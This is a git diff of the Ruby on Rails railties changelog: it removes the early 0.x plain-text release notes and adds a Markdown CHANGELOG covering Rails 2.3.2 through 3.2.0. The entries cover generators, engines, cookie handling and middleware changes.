- script/benchmarker 50 'Person.expensive_method(10)' 'Person.cheap_method(10)'
-
-* Added script/profiler to easily profile a single statement from within the environment. Examples:
-
- script/profiler 'Person.expensive_method(10)'
- script/profiler 'Person.expensive_method(10)' 10 # runs the statement 10 times
-
-* Added Rake target clear_logs that'll truncate all the *.log files in log/ to zero #1079 [Lucas Carlson]
-
-* Added lazy typing for generate, such that ./script/generate cn == ./script/generate controller and the likes #1051 [k@v2studio.com]
-
-* Fixed that ownership is brought over in pg_dump during tests for PostgreSQL #1060 [pburleson]
-
-* Upgraded to Active Record 1.10.0, Action Pack 1.8.0, Action Mailer 0.9.0, Action Web Service 0.7.0, Active Support 1.0.4
-
-
-*0.11.1* (27th March, 2005)
-
-* Fixed the dispatch.fcgi use of a logger
-
-* Upgraded to Active Record 1.9.1, Action Pack 1.7.0, Action Mailer 0.8.1, Action Web Service 0.6.2, Active Support 1.0.3
-
-
-*0.11.0* (22th March, 2005)
-
-* Removed SCRIPT_NAME from the WEBrick environment to prevent conflicts with PATH_INFO #896 [Nicholas Seckar]
-
-* Removed ?$1 from the dispatch.f/cgi redirect line to get rid of 'complete/path/from/request.html' => nil being in the @params now that the ENV["REQUEST_URI"] is used to determine the path #895 [dblack/Nicholas Seckar]
-
-* Added additional error handling to the FastCGI dispatcher to catch even errors taking down the entire process
-
-* Improved the generated scaffold code a lot to take advantage of recent Rails developments #882 [Tobias Lütke]
-
-* Combined the script/environment.rb used for gems and regular files version. If vendor/rails/* has all the frameworks, then files version is used, otherwise gems #878 [Nicholas Seckar]
-
-* Changed .htaccess to allow dispatch.* to be called from a sub-directory as part of the push with Action Pack to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Lütke]
-
-* Added script/runner which can be used to run code inside the environment by eval'ing the first parameter. Examples:
-
- ./script/runner 'ReminderService.deliver'
- ./script/runner 'Mailer.receive(STDIN.read)'
-
- This makes it easier to do CRON and postfix scripts without actually making a script just to trigger 1 line of code.
-
-* Fixed webrick_server cookie handling to allow multiple cookes to be set at once #800, #813 [dave@cherryville.org]
-
-* Fixed the Rakefile's interaction with postgresql to:
-
- 1. Use PGPASSWORD and PGHOST in the environment to fix prompting for
- passwords when connecting to a remote db and local socket connections.
- 2. Add a '-x' flag to pg_dump which stops it dumping privileges #807 [rasputnik]
- 3. Quote the user name and use template0 when dumping so the functions doesn't get dumped too #855 [pburleson]
- 4. Use the port if available #875 [madrobby]
-
-* Upgraded to Active Record 1.9.0, Action Pack 1.6.0, Action Mailer 0.8.0, Action Web Service 0.6.1, Active Support 1.0.2
-
-
-*0.10.1* (7th March, 2005)
-
-* Fixed rake stats to ignore editor backup files like model.rb~ #791 [Sebastian Kanthak]
-
-* Added exception shallowing if the DRb server can't be started (not worth making a fuss about to distract new users) #779 [Tobias Lütke]
-
-* Added an empty favicon.ico file to the public directory of new applications (so the logs are not spammed by its absence)
-
-* Fixed that scaffold generator new template should use local variable instead of instance variable #778 [Dan Peterson]
-
-* Allow unit tests to run on a remote server for PostgreSQL #781 [adamm@galacticasoftware.com]
-
-* Added web_service generator (run ./script/generate web_service for help) #776 [Leon Bredt]
-
-* Added app/apis and components to code statistics report #729 [Scott Barron]
-
-* Fixed WEBrick server to use ABSOLUTE_RAILS_ROOT instead of working_directory #687 [Nicholas Seckar]
-
-* Fixed rails_generator to be usable without RubyGems #686 [Cristi BALAN]
-
-* Fixed -h/--help for generate and destroy generators #331
-
-* Added begin/rescue around the FCGI dispatcher so no uncaught exceptions can bubble up to kill the process (logs to log/fastcgi.crash.log)
-
-* Fixed that association#count would produce invalid sql when called sequentialy #659 [kanis@comcard.de]
-
-* Fixed test/mocks/testing to the correct test/mocks/test #740
-
-* Added early failure if the Ruby version isn't 1.8.2 or above #735
-
-* Removed the obsolete -i/--index option from the WEBrick servlet #743
-
-* Upgraded to Active Record 1.8.0, Action Pack 1.5.1, Action Mailer 0.7.1, Action Web Service 0.6.0, Active Support 1.0.1
-
-
-*0.10.0* (24th February, 2005)
-
-* Changed default IP binding for WEBrick from 127.0.0.1 to 0.0.0.0 so that the server is accessible both locally and remotely #696 [Marcel Molina Jr.]
-
-* Fixed that script/server -d was broken so daemon mode couldn't be used #687 [Nicholas Seckar]
-
-* Upgraded to breakpoint 92 which fixes:
-
- * overload IRB.parse_opts(), fixes #443
- => breakpoints in tests work even when running them via rake
- * untaint handlers, might fix an issue discussed on the Rails ML
- * added verbose mode to breakpoint_client
- * less noise caused by breakpoint_client by default
- * ignored TerminateLineInput exception in signal handler
- => quiet exit on Ctrl-C
-
-* Added support for independent components residing in /components. Example:
-
- Controller: components/list/items_controller.rb
- (holds a List::ItemsController class with uses_component_template_root called)
-
- Model : components/list/item.rb
- (namespace is still shared, so an Item model in app/models will take precedence)
-
- Views : components/list/items/show.rhtml
-
-
-* Added --sandbox option to script/console that'll roll back all changes made to the database when you quit #672 [Jeremy Kemper]
-
-* Added 'recent' as a rake target that'll run tests for files that changed in the last 10 minutes #612 [Jeremy Kemper]
-
-* Changed script/console to default to development environment and drop --no-inspect #650 [Jeremy Kemper]
-
-* Added that the 'fixture :posts' syntax can be used for has_and_belongs_to_many fixtures where a model doesn't exist #572 [Jeremy Kemper]
-
-* Added that running test_units and test_functional now performs the clone_structure_to_test as well #566 [rasputnik]
-
-* Added new generator framework that informs about its doings on generation and enables updating and destruction of generated artifacts. See the new script/destroy and script/update for more details #487 [Jeremy Kemper]
-
-* Added Action Web Service as a new add-on framework for Action Pack [Leon Bredt]
-
-* Added Active Support as an independent utility and standard library extension bundle
-
-* Upgraded to Active Record 1.7.0, Action Pack 1.5.0, Action Mailer 0.7.0
-
-
-*0.9.5* (January 25th, 2005)
-
-* Fixed dependency reloading by switching to a remove_const approach where all Active Records, Active Record Observers, and Action Controllers are reloading by undefining their classes. This enables you to remove methods in all three types and see the change reflected immediately and it fixes #539. This also means that only those three types of classes will benefit from the const_missing and reloading approach. If you want other classes (like some in lib/) to reload, you must use require_dependency to do it.
-
-* Added Florian Gross' latest version of Breakpointer and friends that fixes a variaty of bugs #441 [Florian Gross]
-
-* Fixed skeleton Rakefile to work with sqlite3 out of the box #521 [rasputnik]
-
-* Fixed that script/breakpointer didn't get the Ruby path rewritten as the other scripts #523 [brandt@kurowski.net]
-
-* Fixed handling of syntax errors in models that had already been succesfully required once in the current interpreter
-
-* Fixed that models that weren't referenced in associations weren't being reloaded in the development mode by reinstating the reload
-
-* Fixed that generate scaffold would produce bad functional tests
-
-* Fixed that FCGI can also display SyntaxErrors
-
-* Upgraded to Active Record 1.6.0, Action Pack 1.4.0
-
-
-*0.9.4.1* (January 18th, 2005)
-
-* Added 5-second timeout to WordNet alternatives on creating reserved-word models #501 [Marcel Molina Jr.]
-
-* Fixed binding of caller #496 [Alexey]
-
-* Upgraded to Active Record 1.5.1, Action Pack 1.3.1, Action Mailer 0.6.1
-
-
-*0.9.4* (January 17th, 2005)
-
-* Added that ApplicationController will catch a ControllerNotFound exception if someone attempts to access a url pointing to an unexisting controller [Tobias Lütke]
-
-* Flipped code-to-test ratio around to be more readable #468 [Scott Baron]
-
-* Fixed log file permissions to be 666 instead of 777 (so they're not executable) #471 [Lucas Carlson]
-
-* Fixed that auto reloading would some times not work or would reload the models twice #475 [Tobias Lütke]
-
-* Added rewrite rules to deal with caching to public/.htaccess
-
-* Added the option to specify a controller name to "generate scaffold" and made the default controller name the plural form of the model.
-
-* Added that rake clone_structure_to_test, db_structure_dump, and purge_test_database tasks now pick up the source database to use from
- RAILS_ENV instead of just forcing development #424 [Tobias Lütke]
-
-* Fixed script/console to work with Windows (that requires the use of irb.bat) #418 [Chris McGrath]
-
-* Fixed WEBrick servlet slowdown over time by restricting the load path reloading to mod_ruby
-
-* Removed Fancy Indexing as a default option on the WEBrick servlet as it made it harder to use various caching schemes
-
-* Upgraded to Active Record 1.5, Action Pack 1.3, Action Mailer 0.6
-
-
-*0.9.3* (January 4th, 2005)
-
-* Added support for SQLite in the auto-dumping/importing of schemas for development -> test #416
-
-* Added automated rewriting of the shebang lines on installs through the gem rails command #379 [Manfred Stienstra]
-
-* Added ActionMailer::Base.deliver_method = :test to the test environment so that mail objects are available in ActionMailer::Base.deliveries
- for functional testing.
-
-* Added protection for creating a model through the generators with a name of an existing class, like Thread or Date.
- It'll even offer you a synonym using wordnet.princeton.edu as a look-up. No, I'm not kidding :) [Florian Gross]
-
-* Fixed dependency management to happen in a unified fashion for Active Record and Action Pack using the new Dependencies module. This means that
- the environment options needs to change from:
-
- Before in development.rb:
- ActionController::Base.reload_dependencies = true  
- ActiveRecord::Base.reload_associations     = true
-
- Now in development.rb:
- Dependencies.mechanism = :load
-
- Before in production.rb and test.rb:
- ActionController::Base.reload_dependencies = false
- ActiveRecord::Base.reload_associations     = false
-
- Now in production.rb and test.rb:
- Dependencies.mechanism = :require
-
-* Fixed problems with dependency caching and controller hierarchies on Ruby 1.8.2 in development mode #351
-
-* Fixed that generated action_mailers doesnt need to require the action_mailer since thats already done in the environment #382 [Lucas Carlson]
-
-* Upgraded to Action Pack 1.2.0 and Active Record 1.4.0
-
-
-*0.9.2*
-
-* Fixed CTRL-C exists from the Breakpointer to be a clean affair without error dumping [Kent Sibilev]
-
-* Fixed "rake stats" to work with sub-directories in models and controllers and to report the code to test ration [Scott Baron]
-
-* Added that Active Record associations are now reloaded instead of cleared to work with the new const_missing hook in Active Record.
-
-* Added graceful handling of an inaccessible log file by redirecting output to STDERR with a warning #330 [rainmkr]
-
-* Added support for a -h/--help parameter in the generator #331 [Ulysses]
-
-* Fixed that File.expand_path in config/environment.rb would fail when dealing with symlinked public directories [mjobin]
-
-* Upgraded to Action Pack 1.1.0 and Active Record 1.3.0
-
-
-*0.9.1*
-
-* Upgraded to Action Pack 1.0.1 for important bug fix
-
-* Updated gem dependencies
-
-
-*0.9.0*
-
-* Renamed public/dispatch.servlet to script/server -- it wasn't really dispatching anyway as its delegating calls to public/dispatch.rb
-
-* Renamed AbstractApplicationController and abstract_application.rb to ApplicationController and application.rb, so that it will be possible
- for the framework to automatically pick up on app/views/layouts/application.rhtml and app/helpers/application.rb
-
-* Added script/console that makes it even easier to start an IRB session for interacting with the domain model. Run with no-args to
- see help.
-
-* Added breakpoint support through the script/breakpointer client. This means that you can break out of execution at any point in
- the code, investigate and change the model, AND then resume execution! Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.find_all
- breakpoint "Breaking out from the list"
- end
- end
-
- So the controller will accept the action, run the first line, then present you with a IRB prompt in the breakpointer window.
- Here you can do things like:
-
- Executing breakpoint "Breaking out from the list" at .../webrick_server.rb:16 in 'breakpoint'
-
- >> @posts.inspect
- => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>,
- #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]"
- >> @posts.first.title = "hello from a breakpoint"
- => "hello from a breakpoint"
-
- ...and even better is that you can examine how your runtime objects actually work:
-
- >> f = @posts.first
- => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
- >> f.
- Display all 152 possibilities? (y or n)
-
- Finally, when you're ready to resume execution, you press CTRL-D
-
-* Changed environments to be configurable through an environment variable. By default, the environment is "development", but you
- can change that and set your own by configuring the Apache vhost with a string like (mod_env must be available on the server):
-
- SetEnv RAILS_ENV production
-
- ...if you're using WEBrick, you can pick the environment to use with the command-line parameters -e/--environment, like this:
-
- ruby public/dispatcher.servlet -e production
-
-* Added a new default environment called "development", which leaves the production environment to be tuned exclusively for that.
-
-* Added a start_server in the root of the Rails application to make it even easier to get started
-
-* Fixed public/.htaccess to use RewriteBase and share the same rewrite rules for all the dispatch methods
-
-* Fixed webrick_server to handle requests in a serialized manner (the Rails reloading infrastructure is not thread-safe)
-
-* Added support for controllers in directories. So you can have:
-
- app/controllers/account_controller.rb # URL: /account/
- app/controllers/admin/account_controller.rb # URL: /admin/account/
-
- NOTE: You need to update your public/.htaccess with the new rules to pick it up
-
-* Added reloading for associations and dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use
- those environments for development. This is turned on by default, but can be turned off with
- ActiveRecord::Base.reload_associations = false and ActionController::Base.reload_dependencies = false in production environments.
-
-* Added support for sub-directories in app/models. So now you can have something like Basecamp with:
-
- app/models/accounting
- app/models/project
- app/models/participants
- app/models/settings
-
- It's poor man's namespacing, but only for file-system organization. You still require files just like before.
- Nothing changes inside the files themselves.
-
-
-* Fixed a few references in the tests generated by new_mailer [Jeremy Kemper]
-
-* Added support for mocks in testing with test/mocks
-
-* Cleaned up the environments a bit and added global constant RAILS_ROOT
-
-
-*0.8.5* (9)
-
-* Made dev-util available to all tests, so you can insert breakpoints in any test case to get an IRB prompt at that point [Jeremy Kemper]:
-
- def test_complex_stuff
- @david.projects << @new_project
- breakpoint "Let's have a closer look at @david"
- end
-
- You need to install dev-utils yourself for this to work ("gem install dev-util").
-
-* Added shared generator behavior so future upgrades should be possible without manually copying over files [Jeremy Kemper]
-
-* Added the new helper style to both controller and helper templates [Jeremy Kemper]
-
-* Added new_crud generator for creating a model and controller at the same time with explicit scaffolding [Jeremy Kemper]
-
-* Added configuration of Test::Unit::TestCase.fixture_path to test_helper to concide with the new AR fixtures style
-
-* Fixed that new_model was generating singular table/fixture names
-
-* Upgraded to Action Mailer 0.4.0
-
-* Upgraded to Action Pack 0.9.5
-
-* Upgraded to Active Record 1.1.0
-
-
-*0.8.0 (15)*
-
-* Removed custom_table_name option for new_model now that the Inflector is as powerful as it is
-
-* Changed the default rake action to just do testing and separate API generation and coding statistics into a "doc" task.
-
-* Fixed WEBrick dispatcher to handle missing slashes in the URLs gracefully [alexey]
-
-* Added user option for all postgresql tool calls in the rakefile [elvstone]
-
-* Fixed problem with running "ruby public/dispatch.servlet" instead of "cd public; ruby dispatch.servlet" [alexey]
-
-* Fixed WEBrick server so that it no longer hardcodes the ruby interpreter used to "ruby" but will get the one used based
- on the Ruby runtime configuration. [Marcel Molina Jr.]
-
-* Fixed Dispatcher so it'll route requests to magic_beans to MagicBeansController/magic_beans_controller.rb [Caio Chassot]
-
-* "new_controller MagicBeans" and "new_model SubscriptionPayments" will now both behave properly as they use the new Inflector.
-
-* Fixed problem with MySQL foreign key constraint checks in Rake :clone_production_structure_to_test target [Andreas Schwarz]
-
-* Changed WEBrick server to by default be auto-reloading, which is slower but makes source changes instant.
- Class compilation cache can be turned on with "-c" or "--cache-classes".
-
-* Added "-b/--binding" option to WEBrick dispatcher to bind the server to a specific IP address (default: 127.0.0.1) [Kevin Temp]
-
-* dispatch.fcgi now DOESN'T set FCGI_PURE_RUBY as it was slowing things down for now reason [Andreas Schwarz]
-
-* Added new_mailer generator to work with Action Mailer
-
-* Included new framework: Action Mailer 0.3
-
-* Upgraded to Action Pack 0.9.0
-
-* Upgraded to Active Record 1.0.0
-
-
-*0.7.0*
-
-* Added an optional second argument to the new_model script that allows the programmer to specify the table name,
- which will used to generate a custom table_name method in the model and will also be used in the creation of fixtures.
- [Kevin Radloff]
-
-* script/new_model now turns AccountHolder into account_holder instead of accountholder [Kevin Radloff]
-
-* Fixed the faulty handleing of static files with WEBrick [Andreas Schwarz]
-
-* Unified function_test_helper and unit_test_helper into test_helper
-
-* Fixed bug with the automated production => test database dropping on PostgreSQL [dhawkins]
-
-* create_fixtures in both the functional and unit test helper now turns off the log during fixture generation
- and can generate more than one fixture at a time. Which makes it possible for assignments like:
-
- @people, @projects, @project_access, @companies, @accounts =
- create_fixtures "people", "projects", "project_access", "companies", "accounts"
-
-* Upgraded to Action Pack 0.8.5 (locally-scoped variables, partials, advanced send_file)
-
-* Upgraded to Active Record 0.9.5 (better table_name guessing, cloning, find_all_in_collection)
-
-
-*0.6.5*
-
-* No longer specifies a template for rdoc, so it'll use whatever is default (you can change it in the rakefile)
-
-* The new_model generator will now use the same rules for plural wordings as Active Record
- (so Category will give categories, not categorys) [Kevin Radloff]
-
-* dispatch.fcgi now sets FCGI_PURE_RUBY to true to ensure that it's the Ruby version that's loaded [danp]
-
-* Made the GEM work with Windows
-
-* Fixed bug where mod_ruby would "forget" the load paths added when switching between controllers
-
-* PostgreSQL are now supported for the automated production => test database dropping [Kevin Radloff]
-
-* Errors thrown by the dispatcher are now properly handled in FCGI.
-
-* Upgraded to Action Pack 0.8.0 (lots and lots and lots of fixes)
-
-* Upgraded to Active Record 0.9.4 (a bunch of fixes)
-
-
-*0.6.0*
-
-* Added AbstractionApplicationController as a superclass for all controllers generated. This class can be used
- to carry filters and methods that are to be shared by all. It has an accompanying ApplicationHelper that all
- controllers will also automatically have available.
-
-* Added environments that can be included from any script to get the full Active Record and Action Controller
- context running. This can be used by maintenance scripts or to interact with the model through IRB. Example:
-
- require 'config/environments/production'
-
- for account in Account.find_all
- account.recalculate_interests
- end
-
- A short migration script for an account model that had it's interest calculation strategy changed.
-
-* Accessing the index of a controller with "/weblog" will now redirect to "/weblog/" (only on Apache, not WEBrick)
-
-* Simplified the default Apache config so even remote requests are served off CGI as a default.
- You'll now have to do something specific to activate mod_ruby and FCGI (like using the force urls).
- This should make it easier for new comers that start on an external server.
-
-* Added more of the necessary Apache options to .htaccess to make it easier to setup
-
-* Upgraded to Action Pack 0.7.9 (lots of fixes)
-
-* Upgraded to Active Record 0.9.3 (lots of fixes)
-
-
-*0.5.7*
-
-* Fixed bug in the WEBrick dispatcher that prevented it from getting parameters from the URL
- (through GET requests or otherwise)
-
-* Added lib in root as a place to store app specific libraries
-
-* Added lib and vendor to load_path, so anything store within can be loaded directly.
- Hence lib/redcloth.rb can be loaded with require "redcloth"
-
-* Upgraded to Action Pack 0.7.8 (lots of fixes)
-
-* Upgraded to Active Record 0.9.2 (minor upgrade)
-
-
-*0.5.6*
-
-* Upgraded to Action Pack 0.7.7 (multipart form fix)
-
-* Updated the generated template stubs to valid XHTML files
-
-* Ensure that controllers generated are capitalized, so "new_controller TodoLists"
- gives the same as "new_controller Todolists" and "new_controller todolists".
-
-
-*0.5.5*
-
-* Works on Windows out of the box! (Dropped symlinks)
-
-* Added webrick dispatcher: Try "ruby public/dispatch.servlet --help" [Florian Gross]
-
-* Report errors about initialization to browser (instead of attempting to use uninitialized logger)
-
-* Upgraded to Action Pack 0.7.6
-
-* Upgraded to Active Record 0.9.1
-
-* Added distinct 500.html instead of reusing 404.html
-
-* Added MIT license
-
-
-*0.5.0*
-
-* First public release
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
new file mode 100644
index 0000000000..6b0be4c096
--- /dev/null
+++ b/railties/CHANGELOG.md
@@ -0,0 +1,2407 @@
+## Rails 3.2.0 (unreleased) ##
+
+* Display mounted engine's routes in `rake routes`. *Piotr Sarnacki*
+
+* Allow to change the loading order of railties with `config.railties_order=` *Piotr Sarnacki*
+
+ Example:
+ config.railties_order = [Blog::Engine, :main_app, :all]
+
+* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box. *José Valim*
+
+* Update Rails::Rack::Logger middleware to apply any tags set in config.log_tags to the newly ActiveSupport::TaggedLogging Rails.logger. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications *DHH*
+
+* Default options to `rails new` can be set in ~/.railsrc *Guillermo Iguaran*
+
+* Add destroy alias to Rails engines *Guillermo Iguaran*
+
+* Add destroy alias for Rails command line. This allows the following: `rails d model post` *Andrey Ognevsky*
+
+* Attributes on scaffold and model generators default to string. This allows the following: "rails g scaffold Post title body:text author" *José Valim*
+
+* Remove old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command *Guillermo Iguaran*
+
+* Remove old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API *Guillermo Iguaran*
+
+
+* Rails 3.1.1
+
+* Add jquery-rails to Gemfile of plugins, test/dummy app needs it. Closes #3091. *Santiago Pastorino*
+
+* Add config.assets.initialize_on_precompile which, when set to false, forces
+ `rake assets:precompile` to load the application but does not initialize it.
+
+ To the app developer, this means configuration add in
+ config/initializers/* will not be executed.
+
+ Plugins developers need to special case their initializers that are
+ meant to be run in the assets group by adding :group => :assets.
+
+## Rails 3.1.2 (unreleased) ##
+
+* Engines: don't blow up if db/seeds.rb is missing.
+
+ *Jeremy Kemper*
+
+* `rails new foo --skip-test-unit` should not add the `:test` task to the rake default task.
+ *GH 2564*
+
+ *José Valim*
+
+## Rails 3.1.0 (August 30, 2011) ##
+
+* The default database schema file is written as UTF-8. *Aaron Patterson*
+
+* Generated apps with --dev or --edge flags depend on git versions of
+ sass-rails and coffee-rails. *Santiago Pastorino*
+
+* Rack::Sendfile middleware is used only if x_sendfile_header is present. *Santiago Pastorino*
+
+* Add JavaScript Runtime name to the Rails Info properties. *DHH*
+
+* Make pp enabled by default in Rails console. *Akira Matsuda*
+
+* Add alias `r` for rails runner. *Jordi Romero*
+
+* Make sprockets/railtie require explicit and add --skip-sprockets to app generator *José Valim*
+
+* Added Rails.groups that automatically handles Rails.env and ENV["RAILS_GROUPS"] *José Valim*
+
+* The new rake task assets:clean removes precompiled assets. *fxn*
+
+* Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. *fxn*
+
+* Fixed database tasks for jdbc* adapters #jruby *Rashmi Yadav*
+
+* Template generation for jdbcpostgresql #jruby *Vishnu Atrai*
+
+* Template generation for jdbcmysql and jdbcsqlite3 #jruby *Arun Agrawal*
+
+* The -j option of the application generator accepts an arbitrary string. If passed "foo",
+ the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest
+ requires "foo" and "foo_ujs". As of this writing "prototype-rails" and "jquery-rails"
+ exist and provide those files via the asset pipeline. Default is "jquery". *fxn*
+
+* jQuery is no longer vendored, it is provided from now on by the jquery-rails gem. *fxn*
+
+* Prototype and Scriptaculous are no longer vendored, they are provided from now on
+ by the prototype-rails gem. *fxn*
+
+* The scaffold controller will now produce SCSS file if Sass is available *Prem Sichanugrist*
+
+* The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use Coffee and Sass, if those libraries are available. *DHH*
+
+* jQuery is the new default JavaScript library. *fxn*
+
+* Changed scaffold, application, and mailer generator to create Ruby 1.9 style hash when running on Ruby 1.9 *Prem Sichanugrist*
+
+ So instead of creating something like:
+
+ redirect_to users_path, :notice => "User has been created"
+
+ it will now be like this:
+
+ redirect_to users_path, notice: "User has been created"
+
+ You can also passing `--old-style-hash` to make Rails generate old style hash even you're on Ruby 1.9
+
+* Changed scaffold_controller generator to create format block for JSON instead of XML *Prem Sichanugrist*
+
+* Add using Turn with natural language test case names for test_help.rb when running with minitest (Ruby 1.9.2+) *DHH*
+
+* Direct logging of Active Record to STDOUT so it's shown inline with the results in the console *DHH*
+
+* Added `config.force_ssl` configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol *DHH, Prem Sichanugrist, and Josh Peek*
+
+* Added `rails plugin new` command which generates rails plugin with gemspec, tests and dummy application for testing *Piotr Sarnacki*
+
+* Added -j parameter with jquery/prototype as options. Now you can create your apps with jQuery using `rails new myapp -j jquery`. The default is still Prototype. *siong1987*
+
+* Added Rack::Etag and Rack::ConditionalGet to the default middleware stack *José Valim*
+
+* Added Rack::Cache to the default middleware stack *Yehuda Katz and Carl Lerche*
+
+* Engine is now rack application *Piotr Sarnacki*
+
+* Added middleware stack to Engine *Piotr Sarnacki*
+
+* Engine can now load plugins *Piotr Sarnacki*
+
+* Engine can load its own environment file *Piotr Sarnacki*
+
+* Added helpers to call engines' route helpers from application and vice versa *Piotr Sarnacki*
+
+* Task for copying plugins' and engines' migrations to application's db/migrate directory *Piotr Sarnacki*
+
+* Changed ActionDispatch::Static to allow handling multiple directories *Piotr Sarnacki*
+
+* Added isolate_namespace() method to Engine, which sets Engine as isolated *Piotr Sarnacki*
+
+* Include all helpers from plugins and shared engines in application *Piotr Sarnacki*
+
+
+## Rails 3.0.7 (April 18, 2011) ##
+
+* No changes.
+
+
+* Rails 3.0.6 (April 5, 2011)
+
+* No changes.
+
+
+## Rails 3.0.5 (February 26, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.4 (February 8, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.3 (November 16, 2010) ##
+
+* No changes.
+
+
+## Rails 3.0.2 (November 15, 2010) ##
+
+* No changes.
+
+
+## Rails 3.0.1 (October 15, 2010) ##
+
+* No Changes, just a version bump.
+
+
+## Rails 3.0.0 (August 29, 2010) ##
+
+* Application generation: --skip-testunit and --skip-activerecord become --skip-test-unit and --skip-active-record respectively. *fxn*
+
+* Added console to Rails::Railtie as a hook called just after console starts. *José Valim*
+
+* Rails no longer autoload code in lib for application. You need to explicitly require it. *José Valim*
+
+* Rails::LogSubscriber was renamed to ActiveSupport::LogSubscriber *José Valim*
+
+* config.load_(once_)paths in config/application.rb got renamed to config.autoload_(once_)paths. *fxn*
+
+* Abort generation/booting on Ruby 1.9.1. *fxn*
+
+* Made the rails command work even when you're in a subdirectory *Chad Fowler*
+
+* Removed Rails Metal [Yehuda Katz, José Valim].
+
+* Renamed config.cookie_secret to config.secret_token and pass it as env key. *José Valim*
+
+* Session store configuration has changed *Yehuda Katz, Carl Lerche*
+
+ config.session_store :cookie_store, {:key => "..."}
+ config.cookie_secret = "fdsfhisdghfidugnfdlg"
+
+* railtie_name and engine_name are deprecated. You can now add any object to
+ the configuration object: config.your_plugin = {} *José Valim*
+
+* Added config.generators.templates to provide alternative paths for the generators
+ to look for templates *José Valim*
+
+* Added "rake about" as a replacement for script/about *DHH*
+
+* Removed all the default commands in script/* and replaced them with script/rails and a rails command that'll act the same when run from within the app [DHH]. Example:
+
+ ./script/generate scaffold post title:string can now be called as rails g scaffold post title:string
+
+ Run rails --help inside an app for more help.
+
+* Removed config/initializers/new_rails_defaults.rb as all frameworks now follow the settings from it *DHH*
+
+* Set config.time_zone to UTC by default *DHH*
+
+* Added default .gitignore (this is just recognizing Git market share, don't throw a hissy if you use another SCM) *DHH*
+
+* Added cookies.permanent, cookies.signed, and cookies.permanent.signed accessor for common cookie actions [DHH]. Examples:
+
+ cookies.permanent[:prefers_open_id] = true
+ # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+
+ cookies.signed[:discount] = 45
+ # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
+
+ cookies.signed[:discount]
+ # => 45 (if the cookie was changed, you'll get a InvalidSignature exception)
+
+ cookies.permanent.signed[:remember_me] = current_user.id
+ # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+
+ ...to use the signed cookies, you need to set a secret to ActionController::Base.cookie_verifier_secret (automatically done in config/initializers/cookie_verification_secret.rb for new Rails applications).
+
+* Added config/initializers/cookie_verification_secret.rb with an auto-generated secret for using ActionController::Base#cookies.signed *DHH*
+
+* Fixed that the debugger wouldn't go into IRB mode because of left-over ARGVs *DHH*
+
+* I18n support for plugins. #2325 *Antonio Tapiador, Sven Fuchs*
+
+* Ruby 1.9: use UTF-8 for default internal and external encodings. *Jeremy Kemper*
+
+* Added db/seeds.rb as a default file for storing seed data for the database. Can be loaded with rake db:seed (or created alongside the db with db:setup). (This is also known as the "Stop Putting Gawd Damn Seed Data In Your Migrations" feature) *DHH*
+
+
+## 2.3.2 Final (March 15, 2009) ##
+
+* Remove outdated script/plugin options *Pratik Naik*
+
+* Allow metal to live in plugins #2045 *Matthew Rudy*
+
+* Added metal *Josh Peek*
+
+* Remove script/performance/request in favour of the performance integration tests. *Pratik Naik*
+
+ To continue using script/performance/request, install the request_profiler plugin :
+
+ script/plugin install git://github.com/rails/request_profiler.git
+
+* Add a rake task to apply a template to an existing application : rake rails:template LOCATION=~/template.rb *Pratik Naik*
+
+* Add "-m/--template" option to Rails generator to apply a template to the generated application. *Jeremy McAnally*
+
+ This has been extracted from rg - http://github.com/jeremymcanally/rg
+
+ Example:
+
+ # template.rb
+
+ # Install plugins from git or svn
+ plugin "will-paginate", :git => "git://github.com/mislav/will_paginate.git"
+ plugin "old-restful-auth", :svn => "http://svn.techno-weenie.net/projects/plugins/restful_authentication/"
+
+ # Add gems to environment.rb
+ gem "jeremymcanally-context"
+ gem "bluecloth"
+
+ # Vendor file. Data in a string or...
+ vendor("borrowed.rb", <<CODE
+ def helpful_method
+ do_something_helpful_here
+ end
+ CODE
+
+ # ...file data from block return value.
+ # #initializer creates a new initializer file
+ initializer("crypto.rb") do
+ salt = "--#{Time.now}--#{rand}--#{srand(Time.now.to_i)}"
+
+ "SPECIAL_SALT = '#{salt}'"
+ end
+
+ Usage:
+
+ To use a template, provide a file path or URL:
+
+ 1. Using a local file :
+
+ rails <application name> -m /path/to/my/template.rb
+
+ 2. Or directly from a URL :
+
+ rails <application name> --template=http://gist.github.com/31208.txt
+
+* Extracted the process scripts (inspector, reaper, spawner) into the plugin irs_process_scripts *David Heinemeier Hansson*
+
+* Changed Rails.root to return a Pathname object (allows for Rails.root.join('app', 'controllers') => "#{RAILS_ROOT}/app/controllers") #1482 *Damian Janowski/?*
+
+* Added view path support for engines *David Heinemeier Hansson*
+
+* Added that config/routes.rb files in engine plugins are automatically loaded (and reloaded when they change in dev mode) *David Heinemeier Hansson*
+
+* Added app/[models|controllers|helpers] to the load path for plugins that has an app directory (go engines ;)) *David Heinemeier Hansson*
+
+* Add config.preload_frameworks to load all frameworks at startup. Default to false so Rails autoloads itself as it's used. Turn this on for Passenger and JRuby. Also turned on by config.threadsafe! *Jeremy Kemper*
+
+* Add a rake task to generate dispatchers : rake rails:generate_dispatchers *Pratik Naik*
+
